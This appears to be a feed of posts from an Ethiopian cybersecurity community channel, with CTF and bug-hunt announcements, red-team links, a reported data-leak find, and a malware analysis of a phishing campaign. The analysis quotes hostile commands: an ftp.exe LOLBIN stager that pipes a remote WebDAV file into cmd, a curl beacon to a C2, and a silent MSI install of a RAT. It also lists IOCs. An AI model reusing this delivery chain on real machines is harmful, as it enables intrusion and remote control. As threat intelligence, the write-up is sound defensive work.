AfroSec

👌 @AfroSec

I'm officially opening a Nuzz functional testing & bug hunting campaign🔥 @DoughNutDrops already topped up 1,000 ETB, so let's see who's gonna win this .. I'll keep it open for a day or two. Let's find and squash those bugs 💪🔥 click here to submit @selfmadecoder

ftp anonymous login in the big 2026 🥀 mtsm @AfroSec

🚩 CBE Cyber Month CTF is coming! BunaByte, in collaboration with Commercial Bank of Ethiopia (CBE) and CIO Africa, invites every cybersecurity enthusiast to an individual Capture the Flag challenge. 🗓 Date: 30 October 2026 starting at 7:30 LT Afternoon. 📍 Location: Commercial Bank of Ethiopia Headquarters, Addis Ababa 👤 Format: Individual 🌎 Who can join: University students, high school learners, recent grads and working IT professionals. Challenges are curated for multiple skill levels. 🖥 What you need: Any laptop, ideally with a Linux VM, WSL or Kali installed. 📌 Challenges will be hosted on ctf.bunabyte.com. Create your account there before the event starts! 🔗 Register now: https://register.bunabyte.com/cbe-ctf-2026 Think you can capture the most flags? Prove it. 🔥 #CBECyberMonth #BunaByte_CTF #Cybersecurity #Ethiopia

https://calif.io/php2shell/ @AfroSec

https://blog.afrosec.et/operation-infiltra yo yo yo, Operation Infiltra is finally documented, and those weeks were a roller coaster like kinda chaos and stuff sorry for the delay, 🙃 What started as a little side quest turned into me building an entire E-Corp lab, setting up the infrastructure, and slowly working my way through the environment. Cloudflare Workers, C2 infrastructure, Krayin CRM, Linux, Active Directory, Kerberos, voip infra… the whole thing. And trust me, it wasn't just pop a shell and call it a day. There was a LOT of troubleshooting, broken BOFs, WinRM drama, clock skew, and me staring at the terminal wondering what I did wrong this time. I documented the journey, the setup, the things I learned, and the stuff that absolutely refused to work. If you're into red teaming and infrastructure, come take a look. Read it here: Blog Have fun reading, and btw didnt finish the DC dominance stuff i already did on my machine tho not documented yet, will publish it soon also :) @AfroSec

Introducing Nuzz, a social focus prodcutivity app • Track focus sessions & build streaks • Block distracting apps • Focus with friends or join live rooms • Find a buddy & keep each other accountable • Record timelapses of your work • compete and climb the leaderboard nuzz.space @selfmadecoder

https://github.com/v12-security/pocs/tree/main/anydesk @AfroSec

✅ BunaByte Academy: waitlist update. Thank you to everyone who joined our waitlist. Your early-access email is on its way, with details on our first course going live on 8 October, plus an exclusive waitlist discount.🎁 Didn't see it? Check your Spam and Promotions folders, and mark us as "Not spam" so you don't miss the next ones. 😭Not on the waitlist yet? will be open for public soon. Learn. Hack. Defend. — #BunaByte_Academy ✉️ info@bunabyte.com ❤️ @bunabytecs

damn brooo 😭 i literally hacked them i even wrote this with AI lol i was having a normal convo with someone, tried to check something real quick, and ended up finding some potential endpoints. turns out it was a massive data leak — around 102K students’ names, phone numbers, passwords, locations, and even device info, including MAC addresses 💀 that’s a serious privacy invasion. and it doesn’t stop there — there are also 7K+ lessons with video attachments and other stuff exposed. i’m literally in a taxi rn 💀 gonna report this to them as soon as i get home. @AfroSec

wht a damn coincidence fr, met one of the humblest person I've ever met, had a such a great networking time yk :) this is his channel, check him out 👌🙏 @AfroSecz

Last time on Dragon Ball Z: someone sent me goop (malware) which successfully evaded their EDR and all AVs. It also passed everything on VirusTotal for static-analysis. They sent it to me to bonk with a stick, bonking this whole thing would take me a long time, and I'm not going to do that. I wanted to determine what it was doing, etc. My knowledge on state-sponsored activity and geopolitics in the CIS (Commonwealth of Independent States, ex-Soviet countries) is rusty. However, based on the nature of this goop I would be willing to bet 4 silly pictures of cats this is a state-sponsored malware campaign. 1. The file (a .rar) sent is a fake invitation to the AmCham Kazakhstan's 2026 Gala (or so I assume based on some Google searches) which is happening October 16th, 2026, in Astana, Kazakhstan 2. The file contains two files. A .xz file (unsure what it does still at this time, but it's a JPEG, not a real archive) and a .url file (internet shortcut). The internet shortcut is named "Scanned Image". Likely a masquerading technique. 3. The .url file connects via WebDAV to "file://rappellingaart.com@SSL/secure-docs/3". This directory contains a .lnk (Windows shortcut) and a .ico (Icon file). 4. This is a masquerading effort, the end user must execute the .lnk file to proceed to the remaining payload. The WebDAV appears as a regular directory in File Explorer on Windows 5. The .lnk executes FTP.exe inside System32 and passes the WebDAV path to the .ico file as a LOLBIN, as this: "ftp.exe -s:icon.ico" 6. The .ico acts as a command template and does "!more \\rappellingaart.com@SSL\secure-docs\res.ico|cmd" 7. The res.ico file, which is piped into CMD.exe, creates a series of scheduled tasks, most notably it connects to gomescareerplans(.)com and performs a CURL on the domain under /docs/?vid=%computername%" as a way to register the machine that it has been infected by their payload 8. The res.ico also references the WebDAV URL again and performs a silent installation of "Imp_Details.msi" from \\rappellingaart.com@SSL\secure-docs\Imp_Details.msi 9. Imp_Details.msi contains a section internally labeled Binary._2E9D1C8BAC5D0F288E61BF5987C52203 10. This section is a RAT written in C++. It has a lot of features, lots of different commands, way too much for me to reverse engineer quickly. However, it does internally perform a XOR on a string. It reveals the C2 for the RAT delivered is chestergreenfarming(.)com Invitation .rar: 2fa7498a3bda849c8c5a0e0869708ff113379d54197109a5cdfaea0155e878c9 .Url which launches the WebDAV: 613b6569bd8a4cd75ab11ee9682dd690fabfb11d5c1103caf2ba086e006da034 Weird .xz: fec4f301a1be36a42ec27208e13b5d1d3d0bbe0f1ab47bbab863a7ca9923c571 .ico file (stager): c27ca16248e04f6535ae3e6d1670d740b3884f0fa64935ddfd39faf712f4175d .ico (C2 register, task scheduler): f1060a81c9f68d6f3d23e28f2a1af50fa18ecb9b0a763ca5dcd4b294b6a3593c .MSI (pulled from .ico task scheduler): 4008c8f9e52d3e6fd7df4a980a9a78f46f2412ba2fda10a38aa92d338767c54c .exe inside of .MSI: 5d8df4c2d08cff5f1c0de8eab56e47ae543bd5c6d2ef04573f61ebb9fbc65716 WebDAV: rappellingaart(.)com C2 register: gomescareerplans(.)com RAT C2: chestergreenfarming(.)com

https://www.youtube.com/watch?v=StSLxFbVz0M holly opsec failures 🥲 @AfroSec

hehehe 🙃 @AfroSec

https://www.youtube.com/watch?v=sEAGopDkxxo @AfroSec

80% done 🤓🤓 @AfroSec

oops sorry babe, cant help it 🙃🙃😭 @AfroSec

koy gn beyetgnaw sraye new yhe connection yemetaw 😂? fr germognal @AfroSec

belew we are being famous gng 😂 thanks yall :) @AfroSec